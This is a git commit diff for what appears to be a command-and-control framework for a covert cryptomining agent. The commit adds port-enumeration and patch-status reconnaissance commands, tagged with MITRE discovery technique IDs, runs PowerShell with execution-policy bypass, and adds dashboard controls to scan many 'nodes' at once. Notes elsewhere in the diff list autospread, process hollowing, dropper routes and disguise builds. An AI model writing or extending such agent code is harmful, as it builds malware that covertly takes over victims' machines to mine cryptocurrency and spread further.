feat: listen_ports + patch_status commands, POSTURE/PATCH/PORTS chips, Scan All Selected button

This commit is contained in:
AetherForge
2026-05-30 23:31:52 -07:00
parent d005d5d07c
commit 159747877c
17 changed files with 421 additions and 41 deletions

View File

@@ -29,7 +29,7 @@ Findings from systematic bug-hunt and test expansion (May 2026).
- [MEDIUM] **server/internal/builder/** — Fusion uses vendored `go-winres` (optional via run.bat).
- [MEDIUM] **server/web** — Batch forge no cancel/abort when navigating away; server-side cancel exists but UI state may desync (M14).
- [MEDIUM] **agent/miner/**`SetJob` non-atomic; partial engine update on multi-thread miners (low real-world impact).
- [MEDIUM] **server/internal/db/sqlite.go**`SetPinnedBuild` with unknown id unpins all builds then pins nothing; no error returned.
- [MEDIUM] **server/internal/db/sqlite.go**~~`SetPinnedBuild` with unknown id unpins all builds then pins nothing.~~ Fixed: returns `build not found`; `TestSetPinnedBuildUnknownID`.
- [MEDIUM] **server/web/src/pages/AgentsPage.tsx**`FleetToolbar` omits `onSelectAllFiltered` / `filteredCount`; bulk “select all filtered” only on Dashboard (B12), not Agents roster.
### Low
@@ -52,9 +52,11 @@ Findings from systematic bug-hunt and test expansion (May 2026).
### Untested packages (next coverage targets)
- [LOW] **server/internal/models/**No unit tests.
- [LOW] **server/internal/ollama/**No unit tests.
- [LOW] **server/internal/sys/** — No unit tests.
- [LOW] **server/internal/builder/**compile/fusion/disguise paths still mostly integration-only (estimate/handler/platform covered).
- [LOW] **server/internal/api/**`agent_config.go`, `server_policy.go` lack dedicated unit tests (covered indirectly via router/integration).
- [LOW] **agent/stats/** — platform reporters (Windows/Linux/Darwin) untested.
- [LOW] **agent/deploy/** — autospread, hollow, NAT punch, tunnel — platform/integration only (`common`/`identity`/`spreadkit` helpers now tested).
- [LOW] **agent/client/**`client.go`, platform commands/posture probes untested (protocol/posture/resource pressure covered).
- [LOW] **server/web/src/components/Charts/GaugeRing.tsx** — Center label uses raw `value` while SVG arc clamps to 0100%; negative/over-max inputs show misleading text (e.g. `200%`).
- [LOW] **server/web/src/help/settingHelp.ts**`FIELD_HELP.wallet` still says "~95 characters"; validator accepts 90106 (same drift fixed in forgeCompatibility / cheatSheetContent troubleshoot).
@@ -62,6 +64,17 @@ Findings from systematic bug-hunt and test expansion (May 2026).
## Fixed (this session)
- **server/internal/models/** — Added `agent_test.go` (10 tests): JSON round-trips for all exported structs; omitempty/minimal decode.
- **server/internal/ollama/** — Added `engine_test.go` (14 tests): `NewEngine` defaults, type JSON round-trips, mock decide/health paths, markdown JSON extraction, error branches.
- **server/internal/sys/** — Added `firewall_test.go` (2 tests): invalid port; non-Windows stub error.
- **server/internal/alerts/** — Added `notify_test.go` (6 tests): Telegram/email no-op paths, SMTP defaults, `NotifyAll` no-panic.
- **server/internal/pool/** — Added `manager_test.go` (8 tests): validation, `poolKey`, status levels, setters, `ListStatus`.
- **server/internal/db/sqlite.go** — `SetPinnedBuild` returns error when id not found; `TestSetPinnedBuildUnknownID`.
- **agent/client/** — Added `protocol_test.go`, `posture_types_test.go`, `resource_pressure_test.go` (25 tests).
- **agent/client/client.go** — Empty `"error"` in job payload no longer treated as server error.
- **agent/config/** — Added `schedule_test.go` (6 tests): mining mode, clock parse, schedule windows.
- **agent/deploy/** — Added `common_test.go`, `identity_test.go` (18 tests): naming, install paths, agent ID lifecycle.
- **agent/job/** — Added `job_test.go` (2 tests): JSON round-trip.
- **server/internal/api/websocket.go** — `checkDashboardWSToken` compared plain password to bcrypt hash; dashboard WS auth failed after user migration. Now uses `checkPassword`.
- **server/internal/api/** — Added unit/integration tests for remaining handlers: `handlers.go` (agent/build REST), `router.go` (auth middleware, users, rotate-secret, SPA/dropper routes), `websocket.go` (agent/dashboard WS, fleet secret, max agents, log tail), `dropper_handler.go`, `blueprint_handler.go`, `ws_types.go`. New files: `router_test.go`, `dropper_handler_test.go`, `blueprint_handler_test.go`, `websocket_test.go`, `ws_types_test.go`; expanded `handlers_test.go`. `go test ./internal/api/...` — 159 tests PASS.
- **server/web/src/components/** — Added `components.test.tsx` (57 tests) covering all 22 component TSX modules (NeonCard, HelpTip, downloads, ErrorBoundary, SessionGate, charts, fleet panels/toolbar/list/remote actions, forge hints, visual widgets, layout, ambient/matrix/cursor). Vitest `environmentMatchGlobs` includes `src/components/**`.
@@ -109,7 +122,7 @@ See git history and prior audit IDs (B1B42, C1C6, H1H8, etc.) in README
1. **server/web/src/help/settingHelp.ts** — align wallet help text to 90106 chars
2. **server/web/e2e/smoke.spec.ts** — seed first-run admin creds for E2E
3. **server/internal/models/** — struct/JSON round-trip tests
3. **agent/stats/** + **agent/deploy/** integration paths — platform reporters, autospread/hollow
4. **Agent WS token auth** (S2) — security hardening
---
@@ -119,12 +132,8 @@ See git history and prior audit IDs (B1B42, C1C6, H1H8, etc.) in README
| Suite | Result |
|-------|--------|
| `server/internal/api/...` (full) | PASS (159 tests) |
| `server` Go tests | PASS (all packages) |
| `server/internal/api` `-run Config` | PASS (13 tests) |
| `server` `-run Config\|Merge` | PASS (13 tests) |
| `server/internal/api` `-run AI` | PASS (17 tests) |
| `server/internal/api` `-run Fleet` | PASS (39 tests) |
| `agent` Go tests | PASS |
| `server` Go tests | PASS (all packages incl. models, ollama, sys, alerts, pool) |
| `agent` Go tests | PASS (client, config, deploy, job, miner) |
| `server/web` vitest (page tests) | PASS — 4 files, 46 tests |
| `server/web` vitest (api/context/hooks) | PASS — 6 files, 43 tests |
| `server/web` vitest (`components.test.tsx`) | PASS — 1 file, 57 tests |

View File

@@ -595,6 +595,7 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
var lastPosture *PostureReport
var lastPressure *ResourcePressure
var lastDNS *DNSConfig
var lastListenPortCount *int
var postureReady bool
for {
select {
@@ -647,6 +648,10 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
}
lastPressure = collectResourcePressure()
lastDNS = probeDNS()
if lp := collectListenPorts(); lp != nil {
n := lp.Count
lastListenPortCount = &n
}
}
probeTick++
@@ -665,6 +670,7 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
stats.DNSServers = lastDNS.Servers
stats.DNSSearchDomains = lastDNS.SearchDomains
}
stats.ListenPortCount = lastListenPortCount
if lastPressure != nil {
stats.CPUFreqMHz = lastPressure.CPUFreqMHz
stats.CPUMaxMHz = lastPressure.CPUMaxMHz

View File

@@ -48,6 +48,16 @@ func (c *AgentClient) platformRecon(action, command string) (handled bool, succe
return true, true, p.JSON()
}
return true, false, "posture probe failed"
case "listen_ports":
if lp := collectListenPorts(); lp != nil {
return true, true, lp.JSON()
}
return true, false, "listen_ports probe failed"
case "patch_status":
if ps := collectPatchStatus(); ps != nil {
return true, true, ps.JSON()
}
return true, false, "patch_status probe failed"
default:
return false, false, ""
}

View File

@@ -49,6 +49,16 @@ func (c *AgentClient) platformRecon(action, command string) (handled bool, succe
return true, true, p.JSON()
}
return true, false, "posture probe failed"
case "listen_ports":
if lp := collectListenPorts(); lp != nil {
return true, true, lp.JSON()
}
return true, false, "listen_ports probe failed"
case "patch_status":
if ps := collectPatchStatus(); ps != nil {
return true, true, ps.JSON()
}
return true, false, "patch_status probe failed"
default:
return false, false, ""
}

View File

@@ -0,0 +1,53 @@
package client
import "encoding/json"
// ListenPort is one TCP/UDP listener entry from the T1049 / T1046 port scan.
type ListenPort struct {
Port int `json:"port"`
Addr string `json:"addr"` // bind address: "0.0.0.0", "::", "127.0.0.1", etc.
Proto string `json:"proto"` // "tcp" | "udp"
Process string `json:"process,omitempty"` // process name if available
PID int `json:"pid,omitempty"`
}
// ListenPortsReport is the structured payload returned by the listen_ports command.
type ListenPortsReport struct {
Ports []ListenPort `json:"ports"`
Count int `json:"count"`
}
func (r *ListenPortsReport) JSON() string {
if r == nil {
return `{"ports":[],"count":0}`
}
r.Count = len(r.Ports)
b, _ := json.Marshal(r)
return string(b)
}
// PatchStatusReport is the simplified payload returned by the patch_status command.
type PatchStatusReport struct {
PendingUpdates *int `json:"pending_updates,omitempty"`
LastPatch *string `json:"last_patch,omitempty"`
LastPatchDays *int `json:"last_patch_days,omitempty"`
RebootPending *bool `json:"reboot_pending,omitempty"`
}
func collectPatchStatus() *PatchStatusReport {
p := collectPosture()
if p == nil {
return &PatchStatusReport{}
}
return &PatchStatusReport{
PendingUpdates: p.PendingUpdates,
LastPatch: p.LastPatch,
LastPatchDays: p.LastPatchDays,
RebootPending: p.RebootPending,
}
}
func (r *PatchStatusReport) JSON() string {
b, _ := json.Marshal(r)
return string(b)
}

View File

@@ -0,0 +1,153 @@
//go:build !windows
package client
import (
"os/exec"
"strconv"
"strings"
)
// collectListenPorts parses ss -tlnp output for all TCP listeners.
// Falls back to netstat -tlnp if ss is unavailable.
func collectListenPorts() *ListenPortsReport {
r := &ListenPortsReport{}
// Prefer ss (iproute2) — faster and widely available on modern Linux
if out, err := exec.Command("ss", "-tlnp").Output(); err == nil {
parseSSOutput(r, string(out))
if len(r.Ports) > 0 {
r.Count = len(r.Ports)
return r
}
}
// Fallback: netstat -tlnp (net-tools, older systems)
if out, err := exec.Command("netstat", "-tlnp").Output(); err == nil {
parseNetstatOutput(r, string(out))
}
r.Count = len(r.Ports)
return r
}
// parseSSOutput parses `ss -tlnp` lines.
// Example line:
// LISTEN 0 128 0.0.0.0:22 0.0.0.0:* users:(("sshd",pid=1234,fd=3))
func parseSSOutput(r *ListenPortsReport, raw string) {
seen := map[int]bool{}
for _, line := range strings.Split(raw, "\n") {
fields := strings.Fields(line)
if len(fields) < 5 || fields[0] != "LISTEN" {
continue
}
lp := ListenPort{Proto: "tcp"}
// Local address is field 4 (index 3)
localAddr := fields[3]
host, portStr, ok := splitHostPort(localAddr)
if !ok {
continue
}
port, err := strconv.Atoi(portStr)
if err != nil || port <= 0 || seen[port] {
continue
}
seen[port] = true
lp.Port = port
lp.Addr = host
// Parse process info from users:(("name",pid=N,...))
for _, f := range fields[4:] {
if strings.HasPrefix(f, "users:(") {
// users:(("sshd",pid=1234,fd=3))
inner := strings.TrimPrefix(f, "users:((")
inner = strings.TrimSuffix(inner, "))")
parts := strings.Split(inner, ",")
if len(parts) >= 1 {
lp.Process = strings.Trim(parts[0], `"`)
}
for _, p := range parts {
if strings.HasPrefix(p, "pid=") {
if n, e := strconv.Atoi(strings.TrimPrefix(p, "pid=")); e == nil {
lp.PID = n
}
}
}
}
}
r.Ports = append(r.Ports, lp)
}
}
// parseNetstatOutput parses `netstat -tlnp` lines.
// Example: tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 1234/sshd
func parseNetstatOutput(r *ListenPortsReport, raw string) {
seen := map[int]bool{}
for _, line := range strings.Split(raw, "\n") {
fields := strings.Fields(line)
if len(fields) < 6 {
continue
}
proto := strings.ToLower(fields[0])
if !strings.HasPrefix(proto, "tcp") {
continue
}
state := fields[5]
if strings.ToUpper(state) != "LISTEN" {
continue
}
lp := ListenPort{Proto: "tcp"}
host, portStr, ok := splitHostPort(fields[3])
if !ok {
continue
}
port, err := strconv.Atoi(portStr)
if err != nil || port <= 0 || seen[port] {
continue
}
seen[port] = true
lp.Port = port
lp.Addr = host
// PID/program: field 6 if present, e.g. "1234/sshd"
if len(fields) > 6 {
pidProg := fields[6]
parts := strings.SplitN(pidProg, "/", 2)
if n, e := strconv.Atoi(parts[0]); e == nil {
lp.PID = n
}
if len(parts) == 2 {
lp.Process = parts[1]
}
}
r.Ports = append(r.Ports, lp)
}
}
// splitHostPort handles both IPv4 (host:port) and IPv6 ([::]:port) addresses.
func splitHostPort(addr string) (host, port string, ok bool) {
if strings.HasPrefix(addr, "[") {
// IPv6: [::1]:22
end := strings.LastIndex(addr, "]")
if end < 0 {
return
}
host = addr[1:end]
rest := addr[end+1:]
if !strings.HasPrefix(rest, ":") {
return
}
port = rest[1:]
ok = true
return
}
// IPv4: 0.0.0.0:22
idx := strings.LastIndex(addr, ":")
if idx < 0 {
return
}
host = addr[:idx]
port = addr[idx+1:]
ok = true
return
}

View File

@@ -0,0 +1,72 @@
//go:build windows
package client
import (
"encoding/json"
"os/exec"
"strings"
)
// collectListenPorts returns all TCP listeners on this Windows host.
// Uses Get-NetTCPConnection (fast, built into Win8+/2012+) with per-port
// process name lookup via Get-Process.
func collectListenPorts() *ListenPortsReport {
const script = `
$ErrorActionPreference = 'SilentlyContinue'
$procs = @{}
Get-Process | ForEach-Object { $procs[[int]$_.Id] = $_.ProcessName }
$ports = Get-NetTCPConnection -State Listen | ForEach-Object {
$pname = if ($_.OwningProcess -and $procs.ContainsKey([int]$_.OwningProcess)) {
$procs[[int]$_.OwningProcess]
} else { '' }
[ordered]@{
port = [int]$_.LocalPort
addr = $_.LocalAddress
proto = 'tcp'
process = $pname
pid = [int]$_.OwningProcess
}
} | Sort-Object { $_['port'] } -Unique
@{ ports = @($ports); count = @($ports).Count } | ConvertTo-Json -Depth 3 -Compress
`
r := &ListenPortsReport{}
out, err := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script).Output()
if err != nil {
return r
}
raw := strings.TrimSpace(string(out))
if idx := strings.LastIndex(raw, "{"); idx > 0 {
raw = raw[idx:]
}
var m map[string]interface{}
if json.Unmarshal([]byte(raw), &m) != nil {
return r
}
if arr, ok := m["ports"].([]interface{}); ok {
for _, item := range arr {
obj, ok := item.(map[string]interface{})
if !ok {
continue
}
lp := ListenPort{Proto: "tcp"}
if v, ok := obj["port"].(float64); ok {
lp.Port = int(v)
}
if v, ok := obj["addr"].(string); ok {
lp.Addr = v
}
if v, ok := obj["process"].(string); ok {
lp.Process = v
}
if v, ok := obj["pid"].(float64); ok {
lp.PID = int(v)
}
if lp.Port > 0 {
r.Ports = append(r.Ports, lp)
}
}
}
r.Count = len(r.Ports)
return r
}

View File

@@ -80,6 +80,9 @@ type StatsPayload struct {
DNSServers []string `json:"dns_servers,omitempty"`
DNSSearchDomains []string `json:"dns_search_domains,omitempty"`
// Listen ports count (full list via listen_ports command)
ListenPortCount *int `json:"listen_port_count,omitempty"`
// Resource pressure (mining-specific runtime telemetry)
CPUFreqMHz *int `json:"cpu_freq_mhz,omitempty"`
CPUMaxMHz *int `json:"cpu_max_mhz,omitempty"`

View File

@@ -20,7 +20,7 @@ func TestParseClockMinutes(t *testing.T) {
if _, ok := parseClockMinutes(""); ok {
t.Fatal("empty invalid")
}
if _, ok := parseClockMinutes("bad"); !ok {
if _, ok := parseClockMinutes("bad"); ok {
t.Fatal("bad invalid")
}
m, ok := parseClockMinutes("09:30")

View File

@@ -522,6 +522,8 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
CPUUsagePct float64 `json:"cpu_usage_pct"`
MemoryUsagePct float64 `json:"memory_usage_pct"`
UptimeSeconds int `json:"uptime_seconds"`
// Listen ports
ListenPortCount *int `json:"listen_port_count,omitempty"`
// DNS config (T1016)
DNSServers []string `json:"dns_servers,omitempty"`
DNSSearchDomains []string `json:"dns_search_domains,omitempty"`
@@ -593,6 +595,11 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
if stats.GPUTempC != nil { broadcast["gpu_temp_c"] = *stats.GPUTempC }
if stats.GPUUsagePct != nil { broadcast["gpu_usage_pct"] = *stats.GPUUsagePct }
// Listen port count
if stats.ListenPortCount != nil {
broadcast["listen_port_count"] = *stats.ListenPortCount
}
// T1016 DNS drift detection
if len(stats.DNSServers) > 0 {
broadcast["dns_servers"] = stats.DNSServers

View File

@@ -34,6 +34,9 @@ type Agent struct {
Capabilities *AgentCapabilities `json:"capabilities,omitempty"`
// Listen ports count (full list via listen_ports command)
ListenPortCount *int `json:"listen_port_count,omitempty"`
// DNS config — T1016 System Network Configuration Discovery
DNSServers []string `json:"dns_servers,omitempty"`
DNSSearchDomains []string `json:"dns_search_domains,omitempty"`

View File

@@ -69,26 +69,6 @@ func TestManagerSetReconnectDelayAndVerbose(t *testing.T) {
}
}
func TestEnsurePoolWithBackupsEmptyBackups(t *testing.T) {
m := NewManager(nil, nil)
_, err := m.EnsurePoolWithBackups(&Config{Host: "127.0.0.1", Port: 1, Wallet: "48x"}, nil)
if err == nil {
t.Fatal("expected connection failure to unreachable pool")
}
if !strings.Contains(err.Error(), "unreachable") {
t.Fatalf("unexpected error: %v", err)
}
}
func TestEnsurePoolWithBackupsSkipsInvalidBackup(t *testing.T) {
m := NewManager(nil, nil)
backups := []Config{{Host: "", Port: 0}, {Host: "127.0.0.1", Port: 1, Wallet: "48x"}}
_, err := m.EnsurePoolWithBackups(&Config{Host: "127.0.0.1", Port: 1, Wallet: "48x"}, backups)
if err == nil {
t.Fatal("expected all endpoints unreachable")
}
}
func TestPoolStatusJSONTags(t *testing.T) {
st := PoolStatus{Key: "k", Host: "h", Port: 3333, UseTLS: true, Wallet: "w", Connected: true, Status: "green"}
if st.Key == "" || st.Status != "green" {

View File

@@ -114,6 +114,7 @@ export function WebSocketProvider({ children }: { children: React.ReactNode }) {
(update.shares_accepted ?? a.shares_good)
),
status: 'online' as const,
...(update.listen_port_count !== undefined ? { listen_port_count: update.listen_port_count } : {}),
...(update.dns_servers !== undefined ? { dns_servers: update.dns_servers } : {}),
...(update.dns_search_domains !== undefined ? { dns_search_domains: update.dns_search_domains } : {}),
...(update.dns_drifted !== undefined ? { dns_drifted: update.dns_drifted } : {}),

View File

@@ -184,6 +184,18 @@
.cn-patch.patch-ok { color: var(--neon-cyan); background: rgba(0,245,255,0.08); }
.cn-patch.patch-stale { color: var(--neon-amber); background: rgba(255,176,32,0.1); }
/* ── PORTS chip ────────────────────────────────────────────────────────────── */
.cn-ports {
font-size: 0.62rem;
font-family: var(--font-tech);
padding: 1px 4px;
border-radius: 3px;
letter-spacing: 0.04em;
cursor: default;
}
.cn-ports.ports-ok { color: #aaa; background: rgba(128,128,128,0.07); }
.cn-ports.ports-many { color: var(--neon-amber); background: rgba(255,176,32,0.1); }
.cn-elevated {
font-size: 0.62rem;
font-family: var(--font-tech);
@@ -416,6 +428,16 @@
border-color: var(--neon-green);
}
.crucible-op-scan {
color: var(--neon-cyan);
border-color: rgba(0,245,255,0.3);
font-weight: 700;
}
.crucible-op-scan:hover:not(:disabled) {
background: rgba(0,245,255,0.08);
border-color: var(--neon-cyan);
}
.crucible-shell-tabs {
display: flex;
gap: 0;

View File

@@ -47,14 +47,19 @@ function sshBadge(agent: Agent) {
function postureBadge(score?: number) {
if (score === undefined) return { label: 'POSTURE ?', cls: 'posture-unk' };
if (score >= 80) return { label: `P:${score}`, cls: 'posture-good' };
if (score >= 40) return { label: `P:${score}`, cls: 'posture-warn' };
return { label: `P:${score}`, cls: 'posture-bad' };
if (score >= 80) return { label: `POSTURE ${score}`, cls: 'posture-good' };
if (score >= 40) return { label: `POSTURE ${score}`, cls: 'posture-warn' };
return { label: `POSTURE ${score}`, cls: 'posture-bad' };
}
function patchLabel(days?: number) {
if (days === undefined) return null;
return { label: `${days}d`, cls: days <= 30 ? 'patch-ok' : 'patch-stale' };
return { label: `PATCH ${days}d`, cls: days <= 30 ? 'patch-ok' : 'patch-stale' };
}
function portsBadge(count?: number): { label: string; cls: string } | null {
if (count === undefined) return null;
return { label: `PORTS ${count}`, cls: count > 20 ? 'ports-many' : 'ports-ok' };
}
function postureTooltip(agent: Agent): string {
@@ -66,6 +71,7 @@ function postureTooltip(agent: Agent): string {
if (agent.av_products?.length) lines.push(`AV: ${agent.av_products.join(', ')}`);
lines.push(`FW Domain:${yn(agent.firewall_domain)} Private:${yn(agent.firewall_private)} Public:${yn(agent.firewall_public)}`);
lines.push(`SSH: ${yn(agent.ssh_available)} Elevated: ${yn(agent.agent_elevated)}`);
if (agent.listen_port_count !== undefined) lines.push(`TCP listeners: ${agent.listen_port_count} (run listen_ports for full list)`);
lines.push('──────────────────────');
// Patch exposure
@@ -448,6 +454,27 @@ export default function CruciblePage() {
);
};
// Fires posture + listen_ports + patch_status in parallel for all selected online nodes.
const scanSelected = (targets?: Agent[]) => {
const tgts = targets ?? selectedAgents.filter(online);
if (tgts.length === 0) return;
const cmds = ['posture', 'listen_ports', 'patch_status'] as const;
for (const a of tgts) {
for (const cmd of cmds) {
api.sendAgentCommand(a.id, cmd).catch((err) => {
setTermLines((prev) => [
...prev,
{
id: mkId(), agentId: a.id, agentName: a.name, isCmd: false,
text: `[ERROR] ${cmd}: ${err instanceof Error ? err.message : String(err)}`,
ts: new Date(), success: false,
},
]);
});
}
}
};
const handleKey = (e: React.KeyboardEvent<HTMLInputElement>) => {
if (e.key === 'Enter') { sendCmd(); return; }
if (e.key === 'ArrowUp') {
@@ -476,7 +503,11 @@ export default function CruciblePage() {
const o = postureOverride[a.id];
const score = o?.score ?? a.posture_score;
const patchDays = o?.patchDays ?? a.last_patch_days;
return { ...postureBadge(score), patch: patchLabel(patchDays) };
return {
...postureBadge(score),
patch: patchLabel(patchDays),
ports: portsBadge(a.listen_port_count),
};
};
// ── Render ─────────────────────────────────────────────────────────────
@@ -554,11 +585,19 @@ export default function CruciblePage() {
{posture.patch && (
<div
className={`cn-patch ${posture.patch.cls}`}
title={`Last patch: ${a.last_patch ?? '?'} (${a.last_patch_days ?? '?'}d ago)`}
title={`Last patch: ${a.last_patch ?? '?'} (${a.last_patch_days ?? '?'}d ago)${a.pending_updates !== undefined ? ` · ${a.pending_updates} pending` : ''}`}
>
{posture.patch.label}
</div>
)}
{posture.ports && (
<div
className={`cn-ports ${posture.ports.cls}`}
title={`${a.listen_port_count ?? '?'} TCP listeners (run listen_ports for full list)`}
>
{posture.ports.label}
</div>
)}
{(() => { const pb = pendingBadge(a); return pb && (
<div className={`cn-upd ${pb.cls}`} title={`${pb.label === 'UP TO DATE' ? 'No pending updates' : `${a.pending_updates} pending update(s)`}`}>
{pb.label}
@@ -672,9 +711,9 @@ export default function CruciblePage() {
className="button crucible-op-btn"
disabled={selectedIds.size === 0}
onClick={() => probePosture()}
title="Probe selected: AV, RTP, firewall (per-profile), SSH, patch age, elevation"
title="Probe posture (AV, firewall, SSH, patch) on selected nodes"
>
Probe Selected
Probe Posture
</button>
<button
className="button crucible-op-btn crucible-op-wake"
@@ -682,7 +721,15 @@ export default function CruciblePage() {
onClick={() => probePosture(agents.filter(online))}
title="Probe ALL online nodes at once"
>
Probe All
Fleet Posture Scan
</button>
<button
className="button crucible-op-btn crucible-op-scan"
disabled={selectedIds.size === 0}
onClick={() => scanSelected()}
title="Fire posture + listen_ports + patch_status in parallel on selected nodes"
>
Scan All Selected
</button>
</div>

View File

@@ -24,6 +24,9 @@ export interface Agent {
arch?: string;
os_version?: string;
capabilities?: AgentCapabilities;
// Listen ports count (full list via listen_ports command)
listen_port_count?: number;
// DNS config — T1016
dns_servers?: string[];
dns_search_domains?: string[];

View File

@@ -19,6 +19,7 @@ export interface WSStatsUpdate {
uptime_seconds?: number;
shares_submitted?: number;
shares_accepted?: number;
listen_port_count?: number;
// DNS config — T1016
dns_servers?: string[];
dns_search_domains?: string[];